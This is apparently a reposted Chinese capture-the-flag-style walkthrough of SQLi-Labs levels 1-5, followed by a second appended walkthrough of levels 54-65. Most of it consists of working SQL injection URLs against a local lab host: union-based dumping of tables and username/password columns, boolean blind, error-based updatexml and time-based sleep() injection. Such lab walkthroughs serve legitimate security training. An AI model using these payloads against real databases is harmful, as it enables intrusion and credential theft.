《SQLi-Labs》01. Less 1~5
Posted 镜坛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《SQLi-Labs》01. Less 1~5相关的知识,希望对你有一定的参考价值。
sqli。开启新坑。
前言
对于新手,为了更加直观的看到 sql 注入语句,可以在以下文件添加两句:
echo $sql; # 将构造的 sql 语句进行输出
echo "<br>"; # 换行输出
这样就可以在页面实时看到 sql 语句,便于理解。
题解中,只第一题添加了此语句。
Less-1
知识点
要对数据库的语法有基本了解。这个就不多说了。
数据传递时,“ --+ ” 可以理解为解析成了 mysql 的注释语句 “ -- ”。
也可使用 “ # ” 来注释,由于 url 转码所以要写为 “ %23 ”。
这样就能把拼接后的语句注释,以此添加一些语句来获得信息分析。
order by 可用数字来代表字段索引,1 就是第一个字段,以此类推。因此可用来判断判断表有几列。
数据库的一些函数与自带的表: database()、information_schema 数据库、group_concat() 函数等。
题解
跟着其他师傅的解答尝试了一下,大致思路如下。
打开页面,可以通过 url 传递 id 来获取对应用户信息。那么目标便是通过注入来获取所有用户信息
先传递两个不同 id 值看看。得到了不同结果。
url + ?id=1
url + ?id=2
这里由于让 sql 语句回显到了页面,所以比较明显。但真实情况下无法看到 sql 语句。
所以接下来的思路是要判断 sql 查询是按字符串类型查询还是按数值类型查询。
url + ?id=2\'
url + ?id=2\' --+
可以看到有回显,说明是字符串查询。
这里 “ --+ ” 可以理解为解析成了 mysql 的注释语句 “ -- ”。
除此以外也可使用 “ # ” 来注释,由于 url 转码所以可写为 “ %23 ”。
根据结果指定是字符型且存在 sql 注入漏洞后,因为该页面存在回显,所以可以使用联合查询。
对于联合查询,就是把多次查询的结果合并起来,形成一个新的查询结果集。查询列数要相等。
要使用联合查询,先来判断这张表有多少个字段(多少列)
可使用 order by 判断表有几列,如果报错就是超过列数。
url + ?id=2\' order by 1 --+
url + ?id=2\' order by 2 --+
url + ?id=2\' order by 3 --+
url + ?id=2\' order by 4 --+
可以看到报错了
说明该表有 3 个字段。
然后看看该表哪两个列作为返回的页面显示。
使用联合查询,判断哪两列显示:
url + ?id=2\' union select 1,2,3 --+
并没有返回有用信息。
把 id 改为一个不存在的值试试,
url + ?id=-2\' union select 1,2,3 --+
可以看到页面显示的是 2、3 列数据。
可以根据 mysql 数据库的一些函数来获取当前数据库名和版本号。
database():返回 mysql 命令行当前所在的数据库。
version():获取 MySQL 版本号
url + ?id=-2\' union select 1, database(), version() --+
可以看到当前数据库名称为 security ,数据库版本为 5.7.26。
下一步,想办法查看 security 数据库里的所有表(爆表)。这里要用到 MySQL 自带的一些特殊数据库。
information_schema 数据库是在mysql的版本5.0之后产生的一个虚拟数据库,物理上并不存在。提供了访问数据库元数据的方式,比如数据库名或表名,列类型,访问权限等。
information_schema.tables:获取所有数据库。
table_schema:数据库的名称。
table_name:具体的表名称。
group_concat()函数:将括号里对应的字符串进行连接。
于是乎:
url + ?id=-2\' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=\'security\' --+
group_concat() 函数用于将查到的多个表名连接起来,不然只会显示一个表。
可以看到 security 数据库有四个表:emails、referers、uagents、users。
猜测用户的账户和密码可能是在users表中。
information_schema.columns:每一个表中的每一个字段都会在此表中对应一行。
于是:
url + ?id=-2\' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=\'users\' --+
可以看到两个敏感字段:username,password。
联合查询 username,password 两个字段,在 username 和 password 之间加个 id 作为分割,比较容易看:
url + ?id=-2\' union select 1,2,group_concat(username, id, password) from users --+
第一关完成!
Less-2
了解了第一关的原理与思路后,接下来这题就不难了。
题解
url + ?id=1\' --+
当输入单引号或者双引号可以看到报错,且报错信息看不到数字,猜测 sql 语句应该是数字型注入。
说明不是字符型,可能为数字型。
url + ?id=1 --+
那接下来的思路就和 Less-1 的一样了。
判断表有几个字段后,看显示位:
url + ?id=-1 union select 1,2,3 --+
查看当前表名:
url + ?id=-1 union select 1, 2, database() --+
爆表:
url + ?id=-1 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=\'security\' --+
爆字段:
url + ?id=-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=\'users\' --+
获取用户名和密码:
url + ?id=-1 union select 1, 2, group_concat(username, id, password) from users --+
思路与 Less-1 无异。
Less-3
依旧与 Less-1 一样。
题解
url + ?id=1\'
看报错信息,推断 sql 语句是单引号字符型且有括号。
需要考虑闭合括号。
url + ?id=1\') --+
接下来就照搬 Less-1 思路。
判断表有几个字段后,看显示位:
url + ?id=-1\') union select 1,2,3 --+
看表名:
url + ?id=-1\') union select 1, 2, database() --+
爆表:
url + ?id=-1\') union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=\'security\' --+
爆字段:
url + ?id=-1\') union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=\'users\' --+
获取用户名和密码:
url + ?id=-1\') union select 1, 2, group_concat(username, id, password) from users --+
得手。
Less-4
依旧与 Less-1 一样。
题解
url + ?id=1"
url + ?id=1") --+
判断表有几个字段后,看显示位:
url + ?id=-1") union select 1,2,3 --+
看表名:
url + ?id=-1") union select 1, 2, database() --+
爆表:
url + ?id=-1") union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=\'security\' --+
爆字段:
url + ?id=-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=\'users\' --+
获取用户名和密码:
url + ?id=-1") union select 1, 2, group_concat(username, id, password) from users --+
完成。
Less-5
知识点
布尔盲注。主要用到以下三个 MySQL 函数。
- length() 函数:返回字符串所占的字节数。
- ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
- substr() 函数:字符串截取函数。
布尔盲注需要一个一个判断字符。对于联合注入来说需要花费大量时间。
题解
url + ?id=1
url + ?id=2
url + ?id=-1
url + ?id=10086
通过上面几个测试,发现页面不回显数据库信息,但对错误和正确有显示。
url + ?id=1\'
url + ?id=1\' --+
再通过以上测试可知是字符型注入。
由于只对结果真伪进行回显,使用布尔盲注。
判断当前数据库长度,需要一个一个尝试,这里判断出数据库名长度为 8(页面有回显说明结果为真)。
url + ?id=1 \'and length((select database()))=8 --+
通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。
url + ?id=1\' and ascii(substr((select database()), 1, 1))=115 --+
ASCII 码 115 对应字母为 s。
同理,以下判断都有回显:
url + ?id=1\' and ascii(substr((select database()), 2, 1))=101 --+
url + ?id=1\' and ascii(substr((select database()), 3, 1))=99 --+
url + ?id=1\' and ascii(substr((select database()), 4, 1))=117 --+
url + ?id=1\' and ascii(substr((select database()), 5, 1))=114 --+
url + ?id=1\' and ascii(substr((select database()), 6, 1))=105 --+
url + ?id=1\' and ascii(substr((select database()), 7, 1))=116 --+
url + ?id=1\' and ascii(substr((select database()), 8, 1))=121 --+
因此可得到数据库名称为 “ security ”。
接下来,以同样的原理来爆表。
先判断所有表名字符长度。
url + ?id=1\' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
url + ?id=1\' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29 --+
通过回显判断出表名字符长度为 29。
然后逐一判断表名。
url + ?id=1\' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=101--+
url + ?id=1\' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
...
url + ?id=1\' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),29,1))>=115--+
可得表名字符为:emails,referers,uagents,users
继续猜测数据保存在 users 表中(其实是早已知晓 = ̄ω ̄= )
继续用同样的原理来爆字段。
判断字符长:
url + ?id=1\' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\'users\'))>=20 --+
可得长度为 20。
逐一判断字段名。
url + ?id=1\' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\'users\'),1,1))>=105 --+
...
url + ?id=1\' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\'users\'),20,1))>=100 --+
由此得到 users 表中字段为
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
获取username和password。
判断字符长度:
url + ?id=1\' and length((select group_concat(username,password) from users))>=188 --+
然后依次判断每一个字符即可。最终结果与之前 4 个题相同。
url + ?id=1\' and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
总结:
布尔盲注,用 length() 函数判断字符串长度,然后用 substr() 截取字符串,用 ascii() 一个一个判断字符。
逢人不说人间事,便是人间无事人。
——《赠质上人》(唐)杜荀鹤
sqli-labs less54-65
less 54
?id=1
http://192.168.50.100/sqli-labs/Less-54?id=1\' order by 3 --+ 正常
http://192.168.50.100/sqli-labs/Less-54?id=1\' order by 4 --+ 不正常
?id=0\' union select 1,2,database()--+ 查看当前数据库
取出表名
http://192.168.50.100/sqli-labs/Less-54?id=-1\' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+
http://192.168.50.100/sqli-labs/Less-54?id=-1\' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name =\'ixfl7b4dbx\' --+
id,sessid,secret_GWNP,tryy
取出数据
http://192.168.50.100/sqli-labs/Less-54/?id=0\' union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_GWNP,tryy) )) from challenges.ixfl7b4dbx --+
输入拿到的secret:
在最下面 submit:
less-55
这次是14次。
数据格式变成id=(1),其他步骤均相同
less-56
数据格式变成id=(‘1’),其他步骤均相同
less-57
这次还是14次。
数据格式变成id=“1”,其他步骤均相同
less-58
本关不能使用联合查询,并且要求在5次之内获得数据。
使用报错注入:
获得表名:之前已经知道数据库的名字是challenges
获得表名
http://192.168.50.100/sqli-labs/Less-58/?id=1\' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\'CHALLENGES\') ),1)--+
uqlwc9pzmc
获取字段:http://192.168.50.100/sqli-labs/Less-58/?id=1\' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name=\'uqlwc9pzmc\' )),1)--+
\'~id,sessid,secret_CG31,tryy\'
获取字段的值:http://192.168.50.100/sqli-labs/Less-58/?id=1\' and updatexml(1,concat(0x7e,(select group_concat(secret_CG31) from challenges.uqlwc9pzmc )),1)--+
e3erYMx7A5uHBZwRqg2Drlef
最后submit
less-59
同样是使用报错注入,区别在于对id值得处理,id=1,就是没有包裹。
less-60
同样是使用报错注入,区别在于对id值得处理,id=(“1”),
less-61
同样是使用报错注入,区别在于对id值得处理,id=((‘1’)),的。
less-62
看到有130次机会就知道要盲注了。他题目中已经给出了数据库名,所以再猜解表名,字段名和值就可以了,这里简单演示:
http://192.168.50.100/sqli-labs/Less-62/?id=1\')
and if( left( (select table_name from information_schema.tables where
table_schema=\'CHALLENGES\' limit 0,1),1)> \'a\' ,1, sleep(5)) --+
less-63
同样是延时注入,只是对于id值的处理不同:
SELECT * FROM security.users WHERE id=\'1\' LIMIT 0,1
less-64
同样是延时注入,只是对于id值的处理不同:
SELECT * FROM security.users WHERE id=((1)) LIMIT 0,1
less-65
同样是延时注入,只是对于id值的处理不同:
SELECT * FROM security.users WHERE id=("1") LIMIT 0,1
id或者sort闭合的方式:‘’、“”、()、(’‘)、(“”)、((’‘)),等等吧,根据不同的数据格式判断出不同sql闭合语句。
注释符:--+ --空 # %23 和;%00 有的WAF会使注释符过滤转义,所以需要多记几个
手工注入的几种姿势:报错注入、布尔盲注、时间盲注、读文件、写文件、堆叠注入、一句话木马、参数污染等等等
以上是关于《SQLi-Labs》01. Less 1~5的主要内容,如果未能解决你的问题,请参考以下文章